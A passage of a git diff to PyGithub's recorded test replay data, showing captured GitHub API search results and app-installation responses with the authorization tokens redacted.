type":"user","fullname":"Vincent","repos":0,"name":"Vincent","location":"Amsterdam","login":"viancen","public_repo_count":0,"username":"viancen","created_at":"2012-02-15T08:22:55Z","record":null,"id":"user-1439145","followers":1,"followers_count":1,"created":"2012-02-15T08:22:55Z","language":"","pushed":"2012-06-26T21:15:34.446Z"},{"gravatar_id":"8682561c2989398cda139818390a25c4","score":9.48456,"type":"user","name":"Vincent","repos":0,"fullname":"Vincent","location":"Singapore","login":"vsputra","public_repo_count":0,"username":"vsputra","created_at":"2010-07-19T17:38:53Z","record":null,"id":"user-337548","followers":1,"followers_count":1,"created":"2010-07-19T17:38:53Z","language":"","pushed":"2012-06-19T03:15:15.214Z"},{"gravatar_id":"d3d7715ddc9d2c98dc0acca41026e3ec","score":9.48079,"type":"user","name":"Vincent","location":"Melbourne/Australia","fullname":"Vincent","repos":3,"login":"vincentwongso","public_repo_count":3,"username":"vincentwongso","created_at":"2012-01-03T00:57:50Z","record":null,"id":"user-1300030","followers":0,"followers_count":0,"created":"2012-01-03T00:57:50Z","language":"JavaScript","pushed":"2012-05-10T23:15:22.719Z"},{"gravatar_id":"207cf37afe1b8de78411201832496eb3","score":9.48079,"type":"user","name":"vincent","location":"bordeaux","fullname":"vincent","repos":3,"login":"guillaumevincent","public_repo_count":3,"username":"guillaumevincent","created_at":"2011-07-28T06:59:30Z","record":null,"id":"user-943762","followers":0,"followers_count":0,"created":"2011-07-28T06:59:30Z","language":"Python","pushed":"2012-06-22T12:15:17.467Z"},{"gravatar_id":"fc35e4705d430b49a2e1f962e73d567f","score":9.458175,"type":"user","fullname":"Vincent","repos":0,"name":"Vincent","location":"","login":"vn","public_repo_count":0,"username":"vn","created_at":"2012-01-20T23:48:32Z","record":null,"id":"user-1361165","followers":1,"followers_count":1,"created":"2012-01-20T23:48:32Z","language":"","pushed":"2012-06-28T11:15:11.679Z"},{"gravatar_id":"c34027ae138bf86507c5a36a6b3bf3a5","score":9.421089,"type":"user","name":"Vincent Lannurien","fullname":"Vincent Lannurien","location":"France","repos":8,"login":"addikt1ve","public_repo_count":8,"username":"addikt1ve","created_at":"2008-09-01T13:41:54Z","record":null,"id":"user-22757","followers":15,"followers_count":15,"created":"2008-09-01T13:41:54Z","language":"Shell","pushed":"2011-04-29T22:15:09.273Z"},{"gravatar_id":"226e40fdc55d4597a46279296a616384","score":9.419679,"type":"user","location":"Denver","name":"Vincent","repos":2,"fullname":"Vincent","login":"vincentdavis","public_repo_count":2,"username":"vincentdavis","created_at":"2010-03-29T12:06:25Z","record":null,"id":"user-232564","followers":0,"followers_count":0,"created":"2010-03-29T12:06:25Z","language":"VimL","pushed":"2012-06-05T19:15:38.974Z"},{"gravatar_id":"f6e9045bb7bf8b000eaf62caffbd17ab","score":9.41591,"type":"user","fullname":"Vincent","repos":2,"name":"Vincent","location":"Mont sainte anne","login":"vincentvent","public_repo_count":2,"username":"vincentvent","created_at":"2011-08-10T01:40:18Z","record":null,"id":"user-970338","followers":0,"followers_count":0,"created":"2011-08-10T01:40:18Z","language":"","pushed":"2012-03-08T14:15:38.332Z"},{"gravatar_id":"dfac99df6d6b570feb68f0b88f720a80","score":9.41214,"type":"user","name":"vincent","repos":2,"fullname":"vincent","location":"China, Shenzhen, Nanshan","login":"chenws","public_repo_count":2,"username":"chenws","created_at":"2012-01-03T16:35:05Z","record":null,"id":"user-1301573","followers":0,"followers_count":0,"created":"2012-01-03T16:35:05Z","language":"C","pushed":"2012-05-02T09:15:37.412Z"},{"gravatar_id":"1cc07aa5b421181a130efdd61112ec3e","score":9.403019,"type":"user","fullname":"Vincent S","name":"Vincent S","repos":1,"location":"","login":"VincentS","public_repo_count":1,"username":"VincentS","created_at":"2011-08-23T12:33:31Z","record":null,"id":"user-998872","followers":0,"followers_count":0,"created":"2011-08-23T12:33:31Z","language":"Ruby","pushed":"2011-08-23T13:15:25.062Z"},{"gravatar_id":"304da7fc1421e25a18b95b784baf9539","score":9.389524,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":2,"login":"copyshaft","public_repo_count":2,"username":"copyshaft","created_at":"2009-12-04T03:29:28Z","record":null,"id":"user-161704","followers":0,"followers_count":0,"created":"2009-12-04T03:29:28Z","language":"","pushed":"2010-05-24T00:25:15.443Z"},{"gravatar_id":"838409afe0def35c03da9757148df790","score":9.389524,"type":"user","name":"Vincent","repos":2,"fullname":"Vincent","location":"Paris","login":"vinceofdrink","public_repo_count":2,"username":"vinceofdrink","created_at":"2011-07-04T11:24:46Z","record":null,"id":"user-893359","followers":0,"followers_count":0,"created":"2011-07-04T11:24:46Z","language":"C","pushed":"2012-01-12T15:15:29.207Z"},{"gravatar_id":"1adf0d0b91278d02e88627ffbdd1c65a","score":9.389524,"type":"user","repos":2,"name":"Vincent","fullname":"Vincent","location":"China","login":"wenzheng","public_repo_count":2,"username":"wenzheng","created_at":"2011-08-11T12:35:23Z","record":null,"id":"user-973811","followers":0,"followers_count":0,"created":"2011-08-11T12:35:23Z","language":"","pushed":"2012-02-23T15:15:48.56Z"},{"score":9.389524,"type":"user","fullname":"Vincent","name":"Vincent","location":"France","repos":2,"login":"ziefno","public_repo_count":2,"username":"ziefno","created_at":"2012-03-10T14:44:03Z","record":null,"id":"user-1523263","followers":0,"followers_count":0,"created":"2012-03-10T14:44:03Z","language":"","pushed":"2012-03-10T22:15:17.63Z"},{"gravatar_id":"95bcdb7789b7c0481aea3cf55b5bb987","score":9.389524,"type":"user","name":"Vincent","location":"","fullname":"Vincent","repos":2,"login":"vincentm8","public_repo_count":2,"username":"vincentm8","created_at":"2010-09-12T19:26:07Z","record":null,"id":"user-396662","followers":0,"followers_count":0,"created":"2010-09-12T19:26:07Z","language":"PHP","pushed":"2012-04-16T08:15:17.843Z"},{"gravatar_id":"811d7edddfcb7e652f38c7e56d51ea51","score":9.389524,"type":"user","fullname":"Vincent","repos":2,"name":"Vincent","location":"HCM","login":"vnoob","public_repo_count":2,"username":"vnoob","created_at":"2011-04-15T15:26:21Z","record":null,"id":"user-731797","followers":0,"followers_count":0,"created":"2011-04-15T15:26:21Z","language":"","pushed":"2012-06-02T04:15:19.714Z"},{"gravatar_id":"bf4442de23d120becefaa556f41562f2","score":9.389524,"type":"user","name":"Vincente","repos":2,"fullname":"Vincente","location":"California","login":"vciancio","public_repo_count":2,"username":"vciancio","created_at":"2011-12-01T03:03:38Z","record":null,"id":"user-1232406","followers":0,"followers_count":0,"created":"2011-12-01T03:03:38Z","language":"Java","pushed":"2012-06-19T00:15:59.771Z"},{"gravatar_id":"d6288a0b3a370e4db4ea27adbeb74a30","score":9.378824,"type":"user","repos":10,"name":"Blanchon Vincent","fullname":"Blanchon Vincent","location":"Sophia Antipolis, France","login":"blanchonvincent","public_repo_count":10,"username":"blanchonvincent","created_at":"2012-03-27T17:07:35Z","record":null,"id":"user-1580512","followers":14,"followers_count":14,"created":"2012-03-27T17:07:35Z","language":"PHP","pushed":"2012-06-04T10:15:20.206Z"},{"gravatar_id":"667176b96540d167eb74f473c9aea5f7","score":9.378824,"type":"user","name":"Vincent Voyer","location":"Paris, france","fullname":"Vincent Voyer","repos":13,"login":"vvo","public_repo_count":13,"username":"vvo","created_at":"2009-09-06T14:28:06Z","record":null,"id":"user-123822","followers":13,"followers_count":13,"created":"2009-09-06T14:28:06Z","language":"JavaScript","pushed":"2012-06-26T17:15:45.365Z"},{"gravatar_id":"71e56904f65a1ad1f3a178062fad6897","score":9.370159,"type":"user","fullname":"Vincent","name":"Vincent","repos":1,"location":"France, Tarn","login":"Vincent81","public_repo_count":1,"username":"Vincent81","created_at":"2011-08-05T21:22:58Z","record":null,"id":"user-962113","followers":0,"followers_count":0,"created":"2011-08-05T21:22:58Z","language":"","pushed":"2011-09-06T14:15:24.224Z"},{"gravatar_id":"014023e8bd4f74bdd5dd949f9afcf9c9","score":9.34726,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":1,"login":"Vincentbosch","public_repo_count":1,"username":"Vincentbosch","created_at":"2011-05-12T14:48:43Z","record":null,"id":"user-784014","followers":0,"followers_count":0,"created":"2011-05-12T14:48:43Z","language":"","pushed":"2011-05-17T14:15:16.145Z"},{"gravatar_id":"86f44ee7aef87c7df23227ed99af157c","score":9.34726,"type":"user","name":"vincent","location":"","repos":1,"fullname":"vincent","login":"legarconjoure","public_repo_count":1,"username":"legarconjoure","created_at":"2011-04-04T12:20:19Z","record":null,"id":"user-708274","followers":0,"followers_count":0,"created":"2011-04-04T12:20:19Z","language":"","pushed":"2012-05-14T08:15:24.999Z"},{"gravatar_id":"fceb28e90061e831277e161d5e85757a","score":9.327894,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vincent7894","public_repo_count":0,"username":"vincent7894","created_at":"2011-12-10T20:26:26Z","record":null,"id":"user-1254570","followers":0,"followers_count":0,"created":"2011-12-10T20:26:26Z","language":"","pushed":"2012-03-29T18:15:22.448Z"},{"gravatar_id":"8a817ae82ab5e742c6aca7548e39ab65","score":9.327894,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vincent73000","public_repo_count":0,"username":"vincent73000","created_at":"2011-07-30T13:45:47Z","record":null,"id":"user-948600","followers":0,"followers_count":0,"created":"2011-07-30T13:45:47Z","language":"","pushed":"2012-06-04T11:15:21.524Z"},{"gravatar_id":"d98356664e29463bdc8d8e77095a80bd","score":9.320875,"type":"user","name":"Vincent","fullname":"Vincent","location":"Shanghai, China","repos":1,"login":"ttyio","public_repo_count":1,"username":"ttyio","created_at":"2010-08-16T06:35:46Z","record":null,"id":"user-365590","followers":0,"followers_count":0,"created":"2010-08-16T06:35:46Z","language":"VimL","pushed":"2010-11-08T03:15:12.032Z"},{"gravatar_id":"74ccd2db6dd9211393d4bd62408c6c13","score":9.320875,"type":"user","fullname":"vincent","repos":1,"name":"vincent","location":"","login":"tean60","public_repo_count":1,"username":"tean60","created_at":"2011-01-20T06:55:22Z","record":null,"id":"user-574055","followers":0,"followers_count":0,"created":"2011-01-20T06:55:22Z","language":"","pushed":"2011-06-10T06:15:11.093Z"},{"gravatar_id":"3526439448f2288e0aa5f9456b6aad4b","score":9.320875,"type":"user","name":"Will Vincent","fullname":"Will Vincent","repos":1,"location":"","login":"tcindie","public_repo_count":1,"username":"tcindie","created_at":"2010-07-02T18:50:26Z","record":null,"id":"user-321392","followers":0,"followers_count":0,"created":"2010-07-02T18:50:26Z","language":"PHP","pushed":"2011-07-01T17:15:14.856Z"},{"gravatar_id":"3aeafe584ef75baac1976c910f069752","score":9.320875,"type":"user","name":"vincent","fullname":"vincent","location":"","repos":1,"login":"vincentye38","public_repo_count":1,"username":"vincentye38","created_at":"2011-01-27T07:37:41Z","record":null,"id":"user-586072","followers":0,"followers_count":0,"created":"2011-01-27T07:37:41Z","language":"","pushed":"2012-04-05T05:15:16.89Z"},{"gravatar_id":"49a3fcbf452d1e9d85259d8e1f510934","score":9.320875,"type":"user","repos":1,"name":"Vincent","location":"Rouen","fullname":"Vincent","login":"pasificking","public_repo_count":1,"username":"pasificking","created_at":"2012-03-30T09:07:51Z","record":null,"id":"user-1589894","followers":0,"followers_count":0,"created":"2012-03-30T09:07:51Z","language":"","pushed":"2012-04-10T09:15:35.441Z"},{"gravatar_id":"c3ca1e10cdb67296511fdb480b4acdf0","score":9.320875,"type":"user","name":"Vincent","repos":1,"fullname":"Vincent","location":"","login":"Bpbannerproject","public_repo_count":1,"username":"Bpbannerproject","created_at":"2012-05-07T19:08:32Z","record":null,"id":"user-1714420","followers":0,"followers_count":0,"created":"2012-05-07T19:08:32Z","language":"","pushed":"2012-05-16T06:15:09.874Z"},{"gravatar_id":"259619f6b128ff8886bffa31ea52ab35","score":9.320875,"type":"user","fullname":"Vincent","repos":1,"name":"Vincent","location":"Nanjing, China","login":"farawayboat","public_repo_count":1,"username":"farawayboat","created_at":"2011-09-23T16:35:39Z","record":null,"id":"user-1074475","followers":0,"followers_count":0,"created":"2011-09-23T16:35:39Z","language":"","pushed":"2012-06-28T07:15:16.399Z"},{"gravatar_id":"6b3cc4c0504401ebb74ecac20cec5fbb","score":9.301509,"type":"user","fullname":"Vincent","name":"Vincent","location":"","repos":0,"login":"vincent7842","public_repo_count":0,"username":"vincent7842","created_at":"2012-03-17T14:30:39Z","record":null,"id":"user-1547379","followers":0,"followers_count":0,"created":"2012-03-17T14:30:39Z","language":"","pushed":"2012-03-17T15:15:16.619Z"},{"gravatar_id":"886a562bd3cc225ec3250650d8cdf4bd","score":9.297433,"type":"user","name":"Zhiqiang Zhao","location":"Hangzhou, China","fullname":"Zhiqiang Zhao","repos":9,"login":"vincent-zhao","public_repo_count":9,"username":"vincent-zhao","created_at":"2012-01-31T03:18:49Z","record":null,"id":"user-1393423","followers":23,"followers_count":23,"created":"2012-01-31T03:18:49Z","language":"JavaScript","pushed":"2012-06-23T07:15:16.545Z"},{"gravatar_id":"4c7ff78c68f09a6294059d17df823fbf","score":9.291653,"type":"user","name":"Vincent","repos":0,"fullname":"Vincent","location":"Belgium","login":"VincentU","public_repo_count":0,"username":"VincentU","created_at":"2012-03-21T06:39:02Z","record":null,"id":"user-1559921","followers":0,"followers_count":0,"created":"2012-03-21T06:39:02Z","language":"","pushed":"2012-05-16T18:15:22.652Z"},{"gravatar_id":"9ec9ad37e9ab75436de0b3a0ce971dbe","score":9.283789,"type":"user","name":"Vincent Tencé","location":"Laval, Qc Canada","fullname":"Vincent Tencé","repos":12,"login":"testinfected","public_repo_count":12,"username":"testinfected","created_at":"2009-09-18T23:30:38Z","record":null,"id":"user-128804","followers":13,"followers_count":13,"created":"2009-09-18T23:30:38Z","language":"Java","pushed":"2012-06-23T19:16:06.24Z"},{"gravatar_id":"30d318bdf8e6a1d013c1bd8c5e9749a0","score":9.282379,"type":"user","name":"Vincent","fullname":"Vincent","location":"Coeur d'Alene ID","repos":0,"login":"thinkeryvin","public_repo_count":0,"username":"thinkeryvin","created_at":"2009-09-22T06:48:36Z","record":null,"id":"user-129806","followers":0,"followers_count":0,"created":"2009-09-22T06:48:36Z","language":"","pushed":"2011-03-30T07:15:09.25Z"},{"gravatar_id":"160934525d484d9269d3f5be05ff26da","score":9.282379,"type":"user","fullname":"Vincent","name":"Vincent","repos":0,"location":"Zoetermeer","login":"vinnyb","public_repo_count":0,"username":"vinnyb","created_at":"2010-08-16T13:04:14Z","record":null,"id":"user-365924","followers":0,"followers_count":0,"created":"2010-08-16T13:04:14Z","language":"","pushed":"2012-05-07T09:15:11.135Z"},{"gravatar_id":"e36b0ea5f740b3545bb9c39dcf4e5110","score":9.282379,"type":"user","fullname":"vincent","name":"vincent","location":"","repos":0,"login":"vinc3nt","public_repo_count":0,"username":"vinc3nt","created_at":"2011-07-01T11:34:07Z","record":null,"id":"user-888545","followers":0,"followers_count":0,"created":"2011-07-01T11:34:07Z","language":"","pushed":"2012-05-22T21:15:13.084Z"},{"gravatar_id":"953b83ade35b99fb82c2a6e134b2329a","score":9.27861,"type":"user","name":"vincent","location":"Montpellier, France","fullname":"vincent","repos":0,"login":"narf","public_repo_count":0,"username":"narf","created_at":"2010-10-28T16:11:35Z","record":null,"id":"user-458263","followers":0,"followers_count":0,"created":"2010-10-28T16:11:35Z","language":"","pushed":"2012-05-21T08:15:26.631Z"},{"gravatar_id":"a6c32849daa0d165f480bfa612116767","score":9.27861,"type":"user","name":"Vincent","location":"","repos":0,"fullname":"Vincent","login":"vincentveri","public_repo_count":0,"username":"vincentveri","created_at":"2011-05-03T08:59:39Z","record":null,"id":"user-765248","followers":0,"followers_count":0,"created":"2011-05-03T08:59:39Z","language":"","pushed":"2012-05-25T18:15:20.565Z"},{"gravatar_id":"23284aaf57ee593baa81a3d953386021","score":9.27861,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vrafols","public_repo_count":0,"username":"vrafols","created_at":"2012-05-28T03:31:24Z","record":null,"id":"user-1784314","followers":0,"followers_count":0,"created":"2012-05-28T03:31:24Z","language":"","pushed":"2012-06-04T07:15:19.793Z"},{"gravatar_id":"24eb2af05f128cbf59314bddf59f3ed9","score":9.27861,"type":"user","name":"Vincent","fullname":"Vincent","repos":0,"location":"","login":"vinc38","public_repo_count":0,"username":"vinc38","created_at":"2012-01-18T08:14:07Z","record":null,"id":"user-1343597","followers":0,"followers_count":0,"created":"2012-01-18T08:14:07Z","language":"","pushed":"2012-06-14T14:15:37.571Z"},{"gravatar_id":"5a60bf71026c317ff9cacf9cce842924","score":9.27484,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"Squee","public_repo_count":0,"username":"Squee","created_at":"2009-11-18T13:16:18Z","record":null,"id":"user-154841","followers":0,"followers_count":0,"created":"2009-11-18T13:16:18Z","language":"","pushed":"2011-11-15T17:15:15.363Z"},{"gravatar_id":"747d136a83a1e1fd26b5f001eb632d2c","score":9.252225,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":0,"login":"msr911","public_repo_count":0,"username":"msr911","created_at":"2010-02-11T10:01:05Z","record":null,"id":"user-201682","followers":0,"followers_count":0,"created":"2010-02-11T10:01:05Z","language":"","pushed":"2010-05-23T23:30:14.272Z"},{"gravatar_id":"f09b6aab5c78a879998248e76e9e80b8","score":9.252225,"type":"user","name":"vincent","fullname":"vincent","location":"","repos":0,"login":"vincwu","public_repo_count":0,"username":"vincwu","created_at":"2009-05-02T14:51:55Z","record":null,"id":"user-80223","followers":0,"followers_count":0,"created":"2009-05-02T14:51:55Z","language":"","pushed":"2011-03-22T06:15:08.705Z"}]} - diff --git a/tests/ReplayData/GithubApp.testGetAuthenticatedApp.txt b/tests/ReplayData/GithubApp.testGetAuthenticatedApp.txt index a00fa1a192..13e71457c0 100644 --- a/tests/ReplayData/GithubApp.testGetAuthenticatedApp.txt +++ b/tests/ReplayData/GithubApp.testGetAuthenticatedApp.txt @@ -3,9 +3,8 @@ GET api.github.com None /app -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('Date', 'Sun, 02 Aug 2020 04:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"76244215f77fc6f3d9262dea400b2567"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C28A:25FE:11739F:15A3E5:5F2647CC')] {"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"],"installations_count":1} - diff --git a/tests/ReplayData/GithubApp.testGetPublicApp.txt b/tests/ReplayData/GithubApp.testGetPublicApp.txt index 37cec7cbe7..de127ea78d 100644 --- a/tests/ReplayData/GithubApp.testGetPublicApp.txt +++ b/tests/ReplayData/GithubApp.testGetPublicApp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Sat, 01 Aug 2020 22:54:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '52'), ('X-RateLimit-Reset', '1596322912'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"92d84b5786bdd784149152bd7f65b1f3"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7DA:2E26:3644D3:4316A5:5F25F2B8')] {"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]} - diff --git a/tests/ReplayData/GithubIntegration.testAppAuth.txt b/tests/ReplayData/GithubIntegration.testAppAuth.txt new file mode 100644 index 0000000000..e1f4058094 --- /dev/null +++ b/tests/ReplayData/GithubIntegration.testAppAuth.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/app/installations +{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} +None +200 +[('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] +[{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] diff --git a/tests/ReplayData/GithubIntegration.testDeprecatedAppAuth.txt b/tests/ReplayData/GithubIntegration.testDeprecatedAppAuth.txt new file mode 100644 index 0000000000..e1f4058094 --- /dev/null +++ b/tests/ReplayData/GithubIntegration.testDeprecatedAppAuth.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/app/installations +{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} +None +200 +[('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), 